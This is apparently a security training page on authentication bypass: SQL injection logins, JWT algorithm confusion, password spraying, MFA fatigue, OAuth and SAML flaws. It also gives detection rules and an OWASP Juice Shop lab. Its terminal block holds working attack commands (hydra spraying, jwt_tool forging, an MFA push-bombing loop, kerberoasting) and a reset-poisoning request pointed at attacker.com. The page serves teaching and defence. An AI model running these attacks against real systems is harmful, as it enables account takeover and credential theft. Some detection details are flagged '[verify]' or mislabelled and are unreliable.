Skip to content

Authentication Bypass

Authentication bypass is the class of attacks that let a party identify as someone else without that party’s credential. It spans from credential reuse (rockyou2024.txt) to algorithm-confusion JWT attacks (alg=none, RS256→HS256 confusion) to OAuth state fixation to MFA fatigue (the 2022 Cisco breach). OWASP A07:2021 covers it; it sits under Broken Access Control (A01) when the bypass is used to authorize actions. The mechanism varies — the boundary attacked is always the assertion that “this request comes from user X.”

Authentication is a chain: identity claim → credential check → session token issuance → token validation on each request. Each link is breakable. A bypass can break the credential check (password spray), the session token issuance (token forgery), the token validation (algorithm confusion), or the channel around them (MFA bypass via flow manipulation).

Login flow:
claim username → check password → issue session → validate session next time
│ │ │
│ │ └── JWT alg confusion
│ └── predictable session ID
└── SQLi auth bypass (' OR '1'='1)
MFA flow:
check password → check TOTP code → issue session
│
└── MFA fatigue, race condition, response leak
OAuth flow:
user → IdP → callback with code → exchange for token
│ │
└── state not validated └── token replay

Each arrow is a separate trust boundary. A bypass at any link breaks the chain.

  1. Identify the authn mechanism — form login (cookie session), HTTP Basic (header), Bearer token (JWT), OAuth2 (authorization code flow), SAML (signed XML), certificate (mTLS).
  2. Identify the check — password compare, hash compare, JWT signature, SAML signature, cert validation, OTP compare.
  3. Find a weakness in the check — SQLi in the username field, hash compare with == (PHP type juggling), JWT alg=none accepted, SAML signature wrapping, cert validation bypass via CN=admin, OTP check with race condition.
  4. Bypass — submit the payload, become the user.
  5. Maintain — refresh the session, get a persistent token, add a backdoor account if possible.
TechniqueDescriptionDetection Difficulty
SQLi auth bypass' OR '1'='1' -- - in username returns the first userEasy — covered by 942100 family
Default credentialsadmin/admin, admin/password, tomcat/tomcatEasy — block known default lists
Password sprayingOne password per many users to avoid lockoutMedium — slow rate shape
Credential stuffingUse leaked credential pairs from breach corpusMedium — captcha + rate limit
JWT alg=noneForge a token with no signature, server acceptsEasy — verify JWT library rejects none
JWT RS256→HS256 confusionSign JWT with public key as HMAC secretMedium — depends on verify config
JWT weak HMAC secretBrute the HS256 secret with jwt_tool/hashcatEasy if secret is short
Session predictionSequential session IDs — increment and hijackEasy — use CSPRNG for session IDs
Session fixationForce a session ID on victim, then become themEasy — rotate session ID post-login
MFA fatigue (push bombing)Repeated MFA prompts until user acceptsMedium — rate limit push per session
MFA race conditionSubmit multiple OTP codes simultaneously, only one is correctMedium — serialize OTP checks
OAuth state fixationSend victim through OAuth flow with attacker’s stateMedium — state must be unique per session
SAML signature wrappingModify the assertion’s content while keeping the signatureHard — depends on parser behavior
Password reset poisoningSet Host: header on reset request → reset email to attackerEasy — ignore client Host header
Terminal window
# SQLi auth bypass
curl -X POST http://target/login --data "username=admin' OR '1'='1' -- -&password=x"
# JWT alg=none — strip signature, set header to {"alg":"none"}
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
echo -n '{"sub":"admin","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# Combine: <header>.<payload>. (empty signature)
# Submit as Bearer
# JWT crack — jwt_tool brute forces HS256 secrets
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
# JWT RS256→HS256 confusion — use the public key as HMAC secret
python3 jwt_tool.py <JWT> -X k -pk public_key.pem
# hydra — password spraying on SSH
hydra -L users.txt -p 'Spring2024!' -t 4 ssh://target
# Hydra HTTP form
hydra -L users.txt -P rockyou.txt target http-post-form \
"/login:user=^USER^&pass=^PASS^:F=Invalid"
# Kerbrute — username enumeration via Kerberos pre-auth
kerbrute userenum --dc target.com -d target.com users.txt
# MFA fatigue — submit push repeatedly until accepted
for i in $(seq 1 100); do
curl -X POST http://target/mfa/push -H "Cookie: session=$SESSION" \
--data "action=send"
sleep 1
done
# nuclei — JWT, OAuth, SAML templates
nuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags auth,jwt,oauth
# Default credential scan
nuclei -u http://target -t ~/nuclei-templates/http/technologies/ -tags login
# Burp Suite — sequencer on session tokens for predictability
# Send a login request → right-click → Send to Sequencer
# Token location: Set cookie header → Live capture
# Analyze → entropy per character
# inspect-jwt tool
python3 -m jwt_tool <JWT>
# Output shows header, payload, signature, and alg recommendations
# SAML extraction and analysis
python3 -c "
import base64
import sys
b64 = sys.argv[1]
print(base64.b64decode(b64).decode())
" 'PHNhbWxwOlJlc3BvbnNl...'
# Password reset poisoning
curl -X POST http://target/reset \
-H "Host: attacker.com" \
-H "X-Forwarded-Host: attacker.com" \
--data "email=victim@target.com"
# Victim gets reset link with attacker.com host → reset token leaks via Referer
# kerberoasting — extract service tickets and crack offline
GetUserSPNs.py target.local/user:'pass' -dc-ip dc.target.local -request
hashcat -m 13100 hashes.txt rockyou.txt

ModSecurity OWASP CRS — Authentication Bypass is not a single rule family but a pattern of failures. Notable:

  • 942100 series (SQLi) catches SQLi auth bypass
  • 932100 series (RCE) catches SQLi auth bypass
  • 920220 (content type policy) catches application/json auth bypass attempts
  • No dedicated “default credential” rule — SecLists/nuclei covers it

Suricata SID 2221019 — Authentication brute force pattern (rate-based) [verify].

Sysmon Event ID 4625 (Windows Security Event Log) — failed logon; combined with Event ID 4624 (success) on the same account from same source IP within 5 minutes is a credential stuffing signature.

MITRE ATT&CK T1110 — Brute Force (sub-techniques .001 password guessing, .002 password cracking, .003 password spraying, .004 credential stuffing).

MITRE ATT&CK T1550.003 — Pass the Ticket (Kerberos ticket reuse). MITRE ATT&CK T1550.001 — Application Access Token (OAuth/JWT abuse).

MITRE ATT&CK T1621 — Multi-Factor Authentication Request Generation (MFA fatigue — the 2022 Cisco breach technique).

Wazuh rule 920/550 — Multiple failed logons followed by success [verify].

Wazuh rule 11 (authd) — authentication events from /var/log/auth.log and Windows Security log.

Password spraying. One password per user per period — beat the lockout window. 1 password × 1000 users = 1000 attempts × 1 each, no lockout triggered. Defense: lockout per-IP across all users, not per-account.

Slow credential stuffing. Rate below the WAF threshold. Use a residential proxy pool (Bright Data, Smartproxy) so each attempt comes from a different IP. Defense: device fingerprinting (F5/Cryptopoint), not just IP rate.

JWT alg=none confusion. Some JWT libraries accept alg=none even when configured for HS256 if the validation code does not check the algorithm explicitly. Defense: verify(token, key, algorithms=['HS256']) — pass the algorithm list explicitly. Never accept none in production.

JWT RS256→HS256 confusion. If the JWT library accepts the algorithm from the token header, an attacker sends alg=HS256 and signs with the public key as HMAC secret. The verifier, seeing HS256, looks up the HMAC secret — and uses the public key. Defense: separate key stores for HMAC and asymmetric, or pin the algorithm.

SAML comment injection. SAML parsers’ signature validation operates on the signed subtree, but the assertion extraction may walk a different subtree. CVE-2017-1000433 in OneLogin python toolkit: signature checked the first <Assertion>, but extraction read the second <Assertion> placed inside a comment. The attacker submits a SAML response with two assertions, the first legit-signed, the second with their own payload.

OAuth state reuse. OAuth flows use a state parameter to prevent CSRF. If the state is not bound to the user’s session, an attacker can fixate the state — start a flow on the attacker’s browser, send the callback URL to the victim, the victim’s browser completes the flow under the attacker’s session.

EvasionBypassesDefense
Password sprayingPer-account lockoutPer-IP rate limit, per-account lockout, alerting on total attempts
Proxy rotationIP rate limitDevice fingerprinting, TLS JA3/JA4 fingerprint
JWT alg=noneSignature-required checkAlways pass algorithms= array, reject none
JWT RS256→HS256 confusionAlgorithm pinningSeparate HMAC and RSA key stores; use library with strict mode
SAML signature wrappingSignature-then-extract orderingSign whole response AND assertion; validate canonicalization
OAuth state fixationState-just-present checkBind state to user session; verify on callback
MFA fatiguePer-request rate limitPer-user rate limit, push challenge with biometric, geofence
Password reset poisoningTrust client Host:Use server-configured base URL, ignore client headers

⚠️ What caught me: A SaaS used JWT with RS256 and stored the public key in JWKS at /jwks.json. The verify call was jwt.verify(token, jwks, {algorithms: ['RS256']}) — looked correct. The bug: the library was node-jsonwebtoken v8.x, which accepted none algorithm if it appeared in the header — even when algorithms excluded it. The algorithms array was only enforced when the algorithm in the token header was a signature algorithm; none was treated as a special case and never matched against the list. The library fixed this in v9. Lesson: never trust the algorithms parameter alone — update the library to a version where none is rejected by default, and add an explicit algorithms.includes(header.alg) check.

Container: OWASP Juice Shop has auth-bypass challenges (/score-board filter Login).

Terminal window
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Solve:
# - Login Admin (SQLi auth bypass)
# - Login Bjoern (no SQL, find his password via Google)
# - Login CSRF (login as attacker)
# - Broken Authentication (JWT none-algorithm bypass)
# - TwoFA bypass

Objective: solve at least 3 auth-bypass challenges, including at least one JWT bypass.

Expected flag format: flag{auth_bypass_jwt_none_or_alg_confusion}.

Detection that should fire: ModSecurity 942100 family on the SQLi login; on JWT bypass, the application log should show a JWT signature failure followed by a success (the tell that the library fell back). For MFA fatigue, the auth log should show many push requests in 60s.

Conceptual: explain the difference between authentication and authorization, and why an authentication bypass is generally considered more severe than an authorization bypass.

Technical: walk through the JWT RS256→HS256 algorithm confusion attack step by step. What two library behaviors must be true for the bypass to work?

Scenario: a target has username/password + TOTP MFA, with TOTP = standard 30-second RFC 6238. Describe two distinct MFA bypass techniques, one technical and one social, and the corresponding defense for each.

Why is password spraying more effective than password brute force against modern AD environments, and what specific Active Directory behavior makes per-account lockout trivially bypassable?

Compare OAuth state CSRF (Login CSRF) and SAML signature wrapping. Both are signature-adjacent attacks — what is the common structural weakness, and why does signing alone not prevent them?

→ W1 (OWASP Top 10 Overview) · W12 (Session Management) · W14 (JWT Security)